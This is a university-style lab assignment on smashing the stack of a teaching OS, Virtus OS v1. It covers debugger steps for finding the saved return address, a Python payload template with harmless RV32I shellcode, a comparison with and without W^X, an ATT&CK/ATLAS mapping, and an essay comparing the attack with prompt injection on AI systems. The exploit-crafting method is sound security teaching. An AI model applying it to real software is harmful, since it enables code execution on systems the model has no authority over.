Classroom Glossary Public page

Lab 2.1: Stack-Smash on Virtus OS v1

590 words

Module: 2 -- Stack-Smash on Virtus OS v1 (Substrate Primer)
Points: 20
Time estimate: 4 hr lab + 5 hr independent
Deliverable: lab-2-report.md + payload binary + 200-word comparison essay


Objectives

  1. Determine the stack layout of the vulnerable Virtus OS input handler using virtus-debug.
  2. Craft a buffer-overflow payload that overwrites the saved return address.
  3. Demonstrate code execution via shellcode (W^X disabled) OR W^X fault (W^X enabled).
  4. Annotate the attack chain at the ATLAS/ATT&CK level.
  5. Write the substrate-vs-language comparison essay.

Prerequisites

  • Your CSA-101 Tang Nano 20K or Tang Primer 25K running Virtus OS v1
  • virtus-debug toolchain (from CSA-201 lab environment)
  • Python 3.x + struct module (standard library)
  • An understanding of Module 2 Section 2.3 (exploit mechanics)

Part A: Stack Layout Discovery (45 min)

Use virtus-debug to dump the stack frame of the vulnerable input handler. Record the offsets.

# Connect to Virtus OS via UART debug interface
virtus-debug connect --port /dev/ttyUSB0 --baud 115200

# Run the input handler and break at the buffer-read instruction
virtus-debug break --symbol input_handler_read
virtus-debug run

# Dump the stack frame
virtus-debug stack --depth 32

# Expected output shows something like:
# SP+0x00  [input_buffer start]
# SP+0x1F  [input_buffer end]
# SP+0x20  [local_var_1]
# ...
# SP+0x2C  [saved_fp]
# SP+0x30  [saved_ra]  <- your target

Record:

Field Offset from input_buffer start Size
input_buffer 0 32 bytes
local_variables
saved frame pointer 4 bytes
saved return address 4 bytes
Total padding needed to reach saved_ra bytes

Part B: Payload Crafting (30 min)

Using the offsets from Part A, build the buffer overflow payload.

#!/usr/bin/env python3
"""Lab 2.1 Part B: Payload construction for Virtus OS stack-smash."""
import struct

# Fill in from Part A:
PADDING_SIZE = ____   # bytes to reach saved return address

# The shellcode landing address (where shellcode will be in the payload):
# Stack address of the buffer start (get from virtus-debug stack dump above)
SHELLCODE_ADDR = 0x____  # fill in actual address

# RV32I shellcode: ECALL with a0=0x42; EBREAK
# This will be visible in the Virtus OS exception log
SHELLCODE = bytes([
    # addi a0, zero, 0x42  (syscall argument = 0x42 = 66 decimal)
    0x13, 0x05, 0x20, 0x04,
    # ecall
    0x73, 0x00, 0x00, 0x00,
    # ebreak (halt; shows in simulator)
    0x73, 0x00, 0x10, 0x00,
])

payload = (b'A' * PADDING_SIZE) + struct.pack('<I', SHELLCODE_ADDR) + SHELLCODE
print(f"Payload: {len(payload)} bytes")
print(f"Hex dump:\n{payload.hex()}")

# Write to file for submission
with open('payload_partB.bin', 'wb') as f:
    f.write(payload)
print("Payload written to payload_partB.bin")

Part C: Exploit Execution and Observation (30 min)

With W^X disabled:

# Deliver payload to the vulnerable input handler
# Method: pipe payload via UART to the Virtus OS input handler
virtus-debug inject --file payload_partB.bin --target input_handler

# Watch for the ECALL in the kernel log
virtus-debug log --filter "ECALL|EBREAK"
# Expected: "[KERNEL] ECALL: a0=0x42" or "[KERNEL] EBREAK at 0x...."

Record:

  • Did the ECALL fire? (yes/no)
  • What was the a0 value logged?
  • What was the instruction pointer at the time of the ECALL?
  • Was the instruction pointer within the payload's shellcode landing zone?

With W^X enabled (re-enable in CSA-201 kernel config):

# Enable W^X
virtus-debug kernel-config --set wx_enabled=1
virtus-debug restart

# Inject the same payload
virtus-debug inject --file payload_partB.bin --target input_handler

# Watch for the fault
virtus-debug log --filter "FAULT|EXCEPTION"
# Expected: "[KERNEL] Fetch fault at 0x....: non-executable page"

Record:

  • What exception type was raised?
  • What was the faulting PC?
  • Did the faulting PC match the SHELLCODE_ADDR in the payload?

Part D: ATLAS Annotation (30 min)

Complete the annotation table. Use the specific values from your experiment.

Stage ATT&CK technique ATLAS equivalent What happened in your experiment
1. Reconnaissance T1082 System Information Discovery AML.T0046 virtus-debug stack dump revealed frame offsets
2. Exploit Development T1587.004 Exploits AML.T0043 Craft Adversarial Data Payload crafted with specific PADDING_SIZE and SHELLCODE_ADDR
3. Initial Access T1190 Exploit Public-Facing Application N/A (substrate) Overflow via input_handler_read
4. Execution T1055 Process Injection AML.T0040 Shellcode executed via overwritten return address
5. Defense Evasion T1562.001 Disable Security Tools AML.T0015 W^X disabled in kernel config

For rows 4 and 5: if W^X was enabled and the exploit failed, note the failure in the "What happened" column and explain what mitigation was effective.


Part E: Substrate vs Language Comparison Essay (200 words)

Write a 200-word comparison of this lab's attack and the prompt injection you reproduced in AI-201. Include:

  1. The invariant violated in each case (one sentence each)
  2. The overflow/injection vehicle (one sentence each)
  3. The payload (one sentence each)
  4. The execution trigger (one sentence each)
  5. The analogous mitigation (one sentence each)

Submit this essay with the lab report. It feeds into the Module 4 essay.


Lab Report Requirements

Create lab-2-report.md containing:

  1. Part A: Stack layout table (filled in)
  2. Part B: Payload hex dump + Python script (annotated)
  3. Part C: Exploit execution results (W^X disabled AND W^X enabled observations)
  4. Part D: ATLAS annotation table (completed)
  5. Part E: 200-word comparison essay

Include payload_partB.bin in your submission directory.


Grading

Component Points
Part A: Stack layout correctly determined and documented 4
Part B: Payload correctly crafted (PADDING_SIZE and SHELLCODE_ADDR correct for your build) 5
Part C: Both scenarios documented (W^X disabled execution + W^X enabled fault) 5
Part D: ATLAS annotation complete with experiment-specific evidence 3
Part E: Comparison essay substantive and technically accurate 3
Total 20